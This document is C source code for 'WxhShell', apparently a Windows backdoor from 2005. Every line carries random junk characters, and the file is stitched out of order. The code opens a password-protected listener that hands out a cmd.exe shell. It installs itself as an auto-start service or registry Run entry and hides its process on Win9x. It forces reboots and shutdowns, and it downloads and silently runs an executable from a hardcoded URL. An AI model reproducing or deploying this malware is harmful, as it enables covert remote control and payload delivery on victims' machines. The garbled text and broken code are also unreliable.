    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F25<+ 1kr  
    else { sVD([`Nmc  
    closesocket(wsh); j}RM.C\7  
    ExitThread(0); akrCs&Kka5  
    } hE5G!@1F  
    break; 8AX3C s_G  
    } g!5#,kJM  
  // 获取shell o?=fhc  
  case 's': { RD9Y k  
    CmdShell(wsh); u p~@?t2  
    closesocket(wsh); jhcuK:`L  
    ExitThread(0); h~.V[o7=  
    break; C!kbZTO[p"  
  } ]h!*T{:  
  // 退出 ~6fRS2u  
  case 'x': { cB36p&%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .6I%64m  
    CloseIt(wsh); G%`cJdM  
    break; V"U~Q=`K  
    } `NoCH[$!+  
  // 离开 I9:%@g]uYw  
  case 'q': { Z[bv0Pr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,m"l\jP  
    closesocket(wsh); " V/k<HRw  
    WSACleanup(); _6 /Qp`s  
    exit(1); R_~F6O^EO  
    break; C0f[eA  
        } TQ2i{e  
  } 'iDu0LX  
  } (T;1q^j  
?bCTLt7k  
  // 提示信息 'U*udkn 2]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?xf~!D  
} aH9L|BN*  
  } l85CJ+rg  
2PI #ie4  
  return; b__n~\q_  
} PKATw>zg<  
~EPjZ3 ?  
// shell模块句柄 s!=!A  
int CmdShell(SOCKET sock) "vvFq ,c  
{ s~#?9vW  
STARTUPINFO si; > d)|r  
ZeroMemory(&si,sizeof(si)); _qk9o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~v,!n/('  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hXBqz9  
PROCESS_INFORMATION ProcessInfo; Zm5nLxM  
char cmdline[]="cmd"; ]#+5)[N$>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ; S{ZC5  
  return 0; M`q#,Y?3^I  
} J~:kuf21  
2%*|fF}I  
// 自身启动模式 Dj/Q1KY$m  
int StartFromService(void) )8\Z=uC  
{ Vc{/o=1u  
typedef struct Wa@6VY  
{ $t%"Tr  
  DWORD ExitStatus; *E$H;wKs8  
  DWORD PebBaseAddress; &AN%QhI  
  DWORD AffinityMask; l'P[5'.  
  DWORD BasePriority; Y~<rQ  
  ULONG UniqueProcessId; WJP`0f3  
  ULONG InheritedFromUniqueProcessId; pvI&-D #}  
}   PROCESS_BASIC_INFORMATION; '$lw[1  
Y&~5k;>'_  
PROCNTQSIP NtQueryInformationProcess; V}p*HB@:  
9n-RXVL+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <`^>bv9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )vxVg*.Ee  
X6n|Xq3k  
  HANDLE             hProcess; s; ~J2h[  
  PROCESS_BASIC_INFORMATION pbi; !Q\X)C  
6k@[O@)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pau&4h0  
  if(NULL == hInst ) return 0; VK"[=l  
dVK@Fgo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b 49|4   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &xF4p,7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }P7xdQ6  
+*]SP@|IYI  
  if (!NtQueryInformationProcess) return 0; R?i-"JhW  
8'>.#vyMGv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xy2eJJq  
  if(!hProcess) return 0; e=|F(iW  
tVK?VNW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GIJV;7~  
c'>8pd  
  CloseHandle(hProcess); 0^_)OsFA  
">v_uq a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C _ k_D  
if(hProcess==NULL) return 0; im_0ur&'  
-uS7~Ww.a  
HMODULE hMod; Zz wZ, (  
char procName[255]; 9~*_(yjF  
unsigned long cbNeeded; r5<e}t-  
rGP? E3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U* c{:K-C  
jFK9?cLT  
  CloseHandle(hProcess); +K @J*W 1  
E}E7VQjM  
if(strstr(procName,"services")) return 1; // 以服务启动 !dYX2!lvT  
p2M?pV  
  return 0; // 注册表启动 EC:x  ,i  
} sP=2NqU3Q  
BUboP?#%)  
// 主模块 KG7X8AaK#  
int StartWxhshell(LPSTR lpCmdLine) Qt)7mf  
{ t~udfOvY  
  SOCKET wsl; H znI R  
BOOL val=TRUE; :5n"N5Go  
  int port=0; +$Ddd`J'  
  struct sockaddr_in door; oC;l5v<  
^[SbV^DOL  
  if(wscfg.ws_autoins) Install(); gw*yIZ@3)  
=!Baz&#}  
port=atoi(lpCmdLine); gGceK^#  
1yY'hb,0  
if(port<=0) port=wscfg.ws_port; jtlDSf#  
d60Fi#3d  
  WSADATA data; a93d'ZE-X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0VWCm( f-  
P,+ 0   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2t~7eI%d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )yz9? ]a  
  door.sin_family = AF_INET; p>w~T#17  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WL*W=(  
  door.sin_port = htons(port); $e^ :d  
} r\SP3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,T1XX2? :  
closesocket(wsl); ~P_d0A~T  
return 1; N1B$G  
} [0%Gu 5_\  
p'9 V. _h  
  if(listen(wsl,2) == INVALID_SOCKET) { @O*ev| o@x  
closesocket(wsl); UC<[z#]\;  
return 1; [M zc^I&  
} vX!dMJa0  
  Wxhshell(wsl); 1Tts3O .  
  WSACleanup(); yQQDGFTb!=  
n=Z[w5  
return 0; GurE7J^=  
5i wikC=y  
} cWy*K4O  
71.:p,Z@z  
// 以NT服务方式启动 <o"D/<XnB3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kAKqW7,q"  
{ .\hib. n3  
DWORD   status = 0; { <ao4w6B  
  DWORD   specificError = 0xfffffff; "ZK5P&d  
LMhY"/hAXa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j#.-MfB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Duo#WtC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SS<+fWXE  
  serviceStatus.dwWin32ExitCode     = 0; v"?PhO/{=  
  serviceStatus.dwServiceSpecificExitCode = 0; \c@qtIc  
  serviceStatus.dwCheckPoint       = 0; cq+M *1;  
  serviceStatus.dwWaitHint       = 0; |SXMu_w  
[laL6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \?`d=n=  
  if (hServiceStatusHandle==0) return; ,BN}H-W\2  
t&?v9n"X  
status = GetLastError(); C`K9WJOD  
  if (status!=NO_ERROR) qjRiTIp9q  
{ :4L5@>b-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H:nu>pz t  
    serviceStatus.dwCheckPoint       = 0; =B 4gEWR  
    serviceStatus.dwWaitHint       = 0; VAB&&AL  
    serviceStatus.dwWin32ExitCode     = status; h"Yqm"U/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0m| Gp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xuH<=-O>ki  
    return; gQcr'[[a  
  } Qak@~b  
E'kQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z$im4'\c  
  serviceStatus.dwCheckPoint       = 0; /;(%Xd&:  
  serviceStatus.dwWaitHint       = 0; k:uuJ|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TB3T:A>2  
} 9j>sRE1  
<t|9`l_XW  
// 处理NT服务事件,比如:启动、停止 4uE5h~0Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q; /!oA_  
{ V{^fH6;[  
switch(fdwControl) Zp(P)Obs#  
{ N55=&-p  
case SERVICE_CONTROL_STOP: n N]vu  
  serviceStatus.dwWin32ExitCode = 0; i:Ct6[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?lw[  
  serviceStatus.dwCheckPoint   = 0; @p'v.;~#  
  serviceStatus.dwWaitHint     = 0; D+U/]sW  
  { \?ws0Ax  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X52jqXjg  
  } 4lKbw4[a  
  return; J5_ qqD)  
case SERVICE_CONTROL_PAUSE: r.G/f{=<@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KD3To%  
  break; :?XHZ  
case SERVICE_CONTROL_CONTINUE: eR 2T<7G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JFk|Uqs(  
  break; +(k)1kCMn  
case SERVICE_CONTROL_INTERROGATE: q,>F#A '  
  break;  WD do{  
}; X}QmeY[0I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (7#lN  
} q^+NhAMz  
pvdZ>D-IU  
// 标准应用程序主函数 HG 6{`i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [/,6O  
{ Rw^YTv  
)mO;l/,0  
// 获取操作系统版本 21EUP6}8j  
OsIsNt=GetOsVer(); )BTs *7 j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S^"e5n2  
z00:59M4  
  // 从命令行安装 {%k;V ~  
  if(strpbrk(lpCmdLine,"iI")) Install(); = FJ9wiL  
s6h Wq&C  
  // 下载执行文件 cz~FWk  
if(wscfg.ws_downexe) { !?M_%fNE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *R6eykp  
  WinExec(wscfg.ws_filenam,SW_HIDE); d/zX%  
} uR @Wv^  
Zdg{{|mm  
if(!OsIsNt) { : MmXH&yR  
// 如果时win9x,隐藏进程并且设置为注册表启动 C>;8`6_!gU  
HideProc(); p. ~jo  
StartWxhshell(lpCmdLine); # i=^WN<V  
} nMvIL2:3  
else B148wh#r  
  if(StartFromService()) BW\5RIWwE5  
  // 以服务方式启动 .W.U:C1  
  StartServiceCtrlDispatcher(DispatchTable); U8Jj(]},_  
else 5BO!K$6  
  // 普通方式启动 U)1qsUDF  
  StartWxhshell(lpCmdLine); P87Fg  
@I.O T  
return 0; CN>};>WlG  
} hLD;U J?S  
n#'',4f  
R[-:-8  
)Nd:PnA  
=========================================== 0P/LW|16  
Kqu7DZ+W  
0J-ux"kfI  
|MrH@v7S  
!D5`8   
0x/V1?gm  
" BD+~8v  
gUtbCqDS  
#include <stdio.h> &t:MWb;  
#include <string.h> Ym2m1  
#include <windows.h> ?qW|k6{O  
#include <winsock2.h> hs uJ;4}$q  
#include <winsvc.h> Vta;ibdeqW  
#include <urlmon.h> &.4a  
qr;" K?NX  
#pragma comment (lib, "Ws2_32.lib") 3AL=*qq  
#pragma comment (lib, "urlmon.lib") Q>*K/%KD  
mpAh'f4$*  
#define MAX_USER   100 // 最大客户端连接数 LMzYsXG*[  
#define BUF_SOCK   200 // sock buffer J(VZa_  
#define KEY_BUFF   255 // 输入 buffer ebVfny$D  
*Yjs$'_2  
#define REBOOT     0   // 重启 [B<{3*R_  
#define SHUTDOWN   1   // 关机 RIc<  
l7um9@[4  
#define DEF_PORT   5000 // 监听端口 ;.a)r  
8rNxd=!  
#define REG_LEN     16   // 注册表键长度 PelV67?M  
#define SVC_LEN     80   // NT服务名长度 #(4hX6?5AI  
MT gEq  
// 从dll定义API CI{TgL:l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <7Lz<{jaJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b#^D8_9h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `<Nc Y*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x;aZ&  
3Ab$  
// wxhshell配置信息 J>v>6OC6i  
struct WSCFG { 1'B?f# s  
  int ws_port;         // 监听端口 4"=pcHNV  
  char ws_passstr[REG_LEN]; // 口令 I2Q?7p  
  int ws_autoins;       // 安装标记, 1=yes 0=no zwHsdB=v  
  char ws_regname[REG_LEN]; // 注册表键名 g8y Zc}4  
  char ws_svcname[REG_LEN]; // 服务名 *~X\c Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ms3/P|{"p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]F#kM211  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x B[# a*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q=(wK&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fE}}>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @gk[sQ\O  
x7>sy,c  
}; 5G[^ah<Tg  
%"V,V3kw4  
// default Wxhshell configuration pDfF'jt9  
struct WSCFG wscfg={DEF_PORT, 4TV9t"Dk+c  
    "xuhuanlingzhe", =T6\kz9)`  
    1, zqn*DbT  
    "Wxhshell", .YbD.{]D  
    "Wxhshell",  Jt][b  
            "WxhShell Service", pqX=l%{4ES  
    "Wrsky Windows CmdShell Service", p]HtJt|]  
    "Please Input Your Password: ", 7n.J.<+9  
  1, c5u?\  
  "http://www.wrsky.com/wxhshell.exe", =p:6u_@XWj  
  "Wxhshell.exe" dksnW!  
    }; a r%Rr"  
o*VQH`G*|g  
// 消息定义模块 y.OUn'^d4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [rem,i+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =*N(8j>y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @ZZ Lh=  
char *msg_ws_ext="\n\rExit."; sj2+|>  
char *msg_ws_end="\n\rQuit."; p};<l@  
char *msg_ws_boot="\n\rReboot..."; W'yICt(#G  
char *msg_ws_poff="\n\rShutdown..."; Fx2&ji6u  
char *msg_ws_down="\n\rSave to "; |ESe=G  
IYPI5qCR  
char *msg_ws_err="\n\rErr!"; 'UCL?$  
char *msg_ws_ok="\n\rOK!"; .v'8G)6g  
PeZ=ONY5  
char ExeFile[MAX_PATH]; >d |W>|8e  
int nUser = 0; K+H82$ #  
HANDLE handles[MAX_USER]; `. Z".  
int OsIsNt; s RB8 jY  
EO^0sF<  
SERVICE_STATUS       serviceStatus; kS>j!U(%d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z~<V>b  
-g9f3Be  
// 函数声明 i[swOY z]X  
int Install(void); S]+}Zyg  
int Uninstall(void);  `!BUd  
int DownloadFile(char *sURL, SOCKET wsh); 8[ V!e[  
int Boot(int flag); qm_\#r  
void HideProc(void); 7P]pk=mo  
int GetOsVer(void); 7UfyOOFa  
int Wxhshell(SOCKET wsl); v?J2cL  
void TalkWithClient(void *cs); `Jo}/c 5R  
int CmdShell(SOCKET sock); $onliW|  
int StartFromService(void); 3/ D fsv  
int StartWxhshell(LPSTR lpCmdLine); 7}MWmS^8j  
oUH\SW8?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6$Y1[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9dAsXEWh  
mj pH)6aD0  
// 数据结构和表定义 #v1 4"sZ}  
SERVICE_TABLE_ENTRY DispatchTable[] = ,wjL3c  
{ W\/0&H\i  
{wscfg.ws_svcname, NTServiceMain}, AkF3F^  
{NULL, NULL} *niQ*A  
}; 5 ,HNb  
n!2|;|$}Z  
// 自我安装 i?]!8Ji  
int Install(void) @%K 8 oYK  
{ IdM ;N  
  char svExeFile[MAX_PATH]; \% (R~ H  
  HKEY key; BC^WPr  
  strcpy(svExeFile,ExeFile); gNJ\*]SY  
G.;<?W  
// 如果是win9x系统,修改注册表设为自启动 6_7d1.wv9  
if(!OsIsNt) { Ek:u[Uw\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { se-}d.PwL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6%>0g^`)9Y  
  RegCloseKey(key); q\\J9`Q$J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mmi~A<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K)n(U9#  
  RegCloseKey(key); =e63>*M|  
  return 0; +oc}kv,h]  
    } Wr;)3K  
  } gS!M7xy  
} DWDe5$^{  
else { Jx_4:G  
wI:oe`?H  
// 如果是NT以上系统,安装为系统服务 @#p4QEQA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;:cM^LJ  
if (schSCManager!=0) X^?-U ne  
{ a&&EjI  
  SC_HANDLE schService = CreateService *i|hcDk  
  ( i ):el=  
  schSCManager, m{X;|-DK[  
  wscfg.ws_svcname,  W* YfyM  
  wscfg.ws_svcdisp, ;YB8X&H$  
  SERVICE_ALL_ACCESS, r&#q=R},p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^T" A9uaG  
  SERVICE_AUTO_START, >Kx l+F  
  SERVICE_ERROR_NORMAL,  mJ-@:5  
  svExeFile, {Su]P {oJ  
  NULL, $iV3>>;eh  
  NULL, jRGG5w}  
  NULL, yy9Bd>  
  NULL, SL(Q;_  
  NULL 3' ^ON  
  ); u931^~Ci  
  if (schService!=0) i''dY!2  
  { R1U\/  
  CloseServiceHandle(schService); iS{)Tll}&  
  CloseServiceHandle(schSCManager); 1oC/W?l^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bF3j*bpO"  
  strcat(svExeFile,wscfg.ws_svcname); uzsR*x%s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s;A]GJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YO=;)RA  
  RegCloseKey(key); SU*P@?:/}  
  return 0; +_+_`q>]  
    } ym:JtI69   
  } 4;_.|!LN  
  CloseServiceHandle(schSCManager); r`lgK2r\  
} sbgRl%  
} ; qvZ*  
+ISB"a  
return 1; Re=bJ|wo  
} CnO$xE|{  
a-7nA  
// 自我卸载 ^s%Qt  
int Uninstall(void) WvR}c  
{ "~GudK &  
  HKEY key; pt=[XhxC(>  
H`fkds  
if(!OsIsNt) { :QN,T3i'/3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \4V'NTjB  
  RegDeleteValue(key,wscfg.ws_regname); GU!|J71z  
  RegCloseKey(key); aPWFb.JO4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [QeKT8  
  RegDeleteValue(key,wscfg.ws_regname); "5{\0CfS  
  RegCloseKey(key); }L@YLnc%  
  return 0; E_$ ST3  
  } BWd?a6nU}  
} ;DGp7f#9  
} <F&S   
else { a"~W1|JC"  
rq$%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $UKDXQF"  
if (schSCManager!=0) e&E*$G@.7  
{ qWo|LpxWt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DD;PmIW  
  if (schService!=0) "|f;   
  { m|p}Jf!  
  if(DeleteService(schService)!=0) { }V`Fz',lZ  
  CloseServiceHandle(schService); T%Z`:mf  
  CloseServiceHandle(schSCManager); jAF DkqH  
  return 0; 3n X7$$X  
  } =\`9\Gd  
  CloseServiceHandle(schService); j+s8V-7(  
  } u6I# D _  
  CloseServiceHandle(schSCManager); C}45ZI4  
} vG<Mz?wr  
} Dt8eVWkN~  
K?P.1H`  
return 1; #LF_*a0v  
} 1`b?nX  
75<E0O  
// 从指定url下载文件 G.L4l|%W  
int DownloadFile(char *sURL, SOCKET wsh) { Ke3  
{ i^j{l_-JE  
  HRESULT hr; W&G DE  
char seps[]= "/"; x'}{^'}/  
char *token; m`n51i{U  
char *file; !5x"d7  
char myURL[MAX_PATH]; F YcC2TM  
char myFILE[MAX_PATH]; |Y:T3hra61  
InRn!~_N  
strcpy(myURL,sURL); yl|+D]  
  token=strtok(myURL,seps); p_tMl%K  
  while(token!=NULL) P^+Og_$  
  { *,mbZE=<  
    file=token; xOP\ +(  
  token=strtok(NULL,seps); tw^V?4[Miu  
  } 5JQq?e)n  
B,}%1+*  
GetCurrentDirectory(MAX_PATH,myFILE); {?,:M  
strcat(myFILE, "\\"); 9'O<d/xj/  
strcat(myFILE, file); ~bvx<:8*%  
  send(wsh,myFILE,strlen(myFILE),0); vw3%u+Z&  
send(wsh,"...",3,0); B f[D&O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GMd81@7  
  if(hr==S_OK) MiN68x9  
return 0; Ro?yCy:L'  
else 76xgExOU?C  
return 1; =yk#z84<  
tWD*uA b  
} i9w xP i  
`Q}.9s_ri  
// 系统电源模块 QTM+ WD  
int Boot(int flag) ;sb0,2YyP  
{ JWM/np6  
  HANDLE hToken; 8&H1w9NrX_  
  TOKEN_PRIVILEGES tkp; Xig%Q~oMp  
6]na#<  
  if(OsIsNt) { _k _F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CEt_wKz f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |(Io(e  
    tkp.PrivilegeCount = 1; \U p<m>3\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I5PaY.i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  5Gg`+o  
if(flag==REBOOT) { -H{c@hl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lAV6z%MmM  
  return 0; /9W-;l{=z  
} y%p&g  
else { L<J%IlcfO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .GLotc  
  return 0; {P(IA2J'S  
} v||8Q\d  
  } (eG#JVsm9  
  else { [K%J t  
if(flag==REBOOT) { [JsQ/|=z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kVZ>Dc2M  
  return 0; uflp4_D   
} N(/DC)DJg  
else { V<P@hAAr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KG)Y{-Ao  
  return 0; t~gnai  
} qky{]qNW  
} UP%X`  
4LKOBiEM  
return 1; 'N0d==aI  
} Ch^Al 2)=  
G,$RsP  
// win9x进程隐藏模块 %;9wToyK>  
void HideProc(void) TC" mP!1  
{ ?5"~V^L3  
F6YMcdU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 866n{lyL  
  if ( hKernel != NULL ) rn U2EL  
  { <eb>/ D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yAXw?z!`O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <c^m |v  
    FreeLibrary(hKernel); f`P%aX'cBQ  
  } |Ax~zk;  
3>/Yku)t  
return; ?ZE1>L7e  
} 8x[q[  
$UgM7V$  
// 获取操作系统版本 "P'W@  
int GetOsVer(void) cMI QbBM  
{ <wc=SMmO  
  OSVERSIONINFO winfo; zEpcJHI%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mryi6XT  
  GetVersionEx(&winfo); i{!i %`"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \} P}H  
  return 1; GYyP+7K4l[  
  else r4D6g>)h1q  
  return 0; l^WFMeMD3a  
} , B h[jb`y  
[uW{Ap~2  
// 客户端句柄模块 @tRq(*(/:  
int Wxhshell(SOCKET wsl) 2U)H2 %  
{ '72ZLdi}-  
  SOCKET wsh; .pr-  ^  
  struct sockaddr_in client; ,z<\Z!+=  
  DWORD myID; %)u5A !"  
\P+lb-~\"  
  while(nUser<MAX_USER) Hq< Vk.Nk  
{ SPn0D9 b]  
  int nSize=sizeof(client); g_5:o 3s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /DJyNf*  
  if(wsh==INVALID_SOCKET) return 1; N@)tU;U3O  
zf4@:GM`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `4g m'C  
if(handles[nUser]==0) }`\+_@ w  
  closesocket(wsh); gNo.&G [  
else ~;3N'o  
  nUser++; }I9\=jT  
  } $+R0RqV$V~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TCv}N0  
iw12x:  
  return 0; a<rk'4,8a  
} sn]8h2z  
Tr-gdX ;  
// 关闭 socket )1Z*kY?f!  
void CloseIt(SOCKET wsh) Z~9\7QJn  
{ w-"o?;)a  
closesocket(wsh); %, XyhS5[o  
nUser--; [x'xbQLGd  
ExitThread(0); xmT(yv,  
} Ud\Jc:DG  
Ti=~ycwi  
// 客户端请求句柄 3;>|*(cO  
void TalkWithClient(void *cs) :(!il?  
{ I.euuzBgA  
+ i!/J  
  SOCKET wsh=(SOCKET)cs; d/j$_NQ&!  
  char pwd[SVC_LEN]; ?6; +.h\  
  char cmd[KEY_BUFF]; v;80RjPy>  
char chr[1]; 5NZob<<  
int i,j; Wm7Dy7#l  
&w- QMj M>  
  while (nUser < MAX_USER) { i o 3qG6  
8~u#?xs6  
if(wscfg.ws_passstr) { ry/AF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C;y3?+6P$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O)kC[e4  
  //ZeroMemory(pwd,KEY_BUFF); kViX FPW  
      i=0; '@3hU|jO!  
  while(i<SVC_LEN) { Q!(C$&f  
R]0awV1b  
  // 设置超时 e3yBB*@  
  fd_set FdRead; CVyqr_n65/  
  struct timeval TimeOut; +>@<'YI<  
  FD_ZERO(&FdRead); Sdy\s5  
  FD_SET(wsh,&FdRead); /0uZ(F|>I  
  TimeOut.tv_sec=8; #e((F,1z  
  TimeOut.tv_usec=0; Bq#?g@V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); weEmUw Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %}MZWf{  
x24  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X@*$3z#Z  
  pwd=chr[0]; 5P ,{h  
  if(chr[0]==0xd || chr[0]==0xa) { Z}5 ;K"T/  
  pwd=0; .:B] a7b  
  break; pE[ul  
  } c6:"5};_  
  i++; )F,H(LblH  
    } kQxY"HD  
!i&^H,  
  // 如果是非法用户,关闭 socket sZ/~pk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /8VM.fr$  
} wyzj[PDS  
Eb7qM.Q] &  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #(mm6dj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s/ibj@h  
;\DXRKR  
while(1) { TyY[8J|  
`7zz&f9dDX  
  ZeroMemory(cmd,KEY_BUFF); 6] <~0{  
}nvH Eo  
      // 自动支持客户端 telnet标准   ,[7 1,zs  
  j=0; ,a9<\bd)  
  while(j<KEY_BUFF) { Vv~rgNh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,^3eMn  
  cmd[j]=chr[0]; {s6;6>-kPW  
  if(chr[0]==0xa || chr[0]==0xd) { Iw(deD  
  cmd[j]=0; lX/6u E_%  
  break; dq%7A=-  
  } jhr{JApbJv  
  j++; u.YPb@  
    } g4cmYg3  
*z!!zRh3x  
  // 下载文件 4\H:^U&  
  if(strstr(cmd,"http://")) { 2-Y%W(bEzs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f^@`[MJj1C  
  if(DownloadFile(cmd,wsh)) oj /:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3@kiUbq7Eu  
  else ]&`_5pS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H[#s&Fk2  
  } 5M4mFC6  
  else { h7c8K)ntnf  
:A%uXgK<k  
    switch(cmd[0]) { TBHIcX  
  eN fo8xUG  
  // 帮助 b*S :wfw  
  case '?': { Ml1yk)3G  
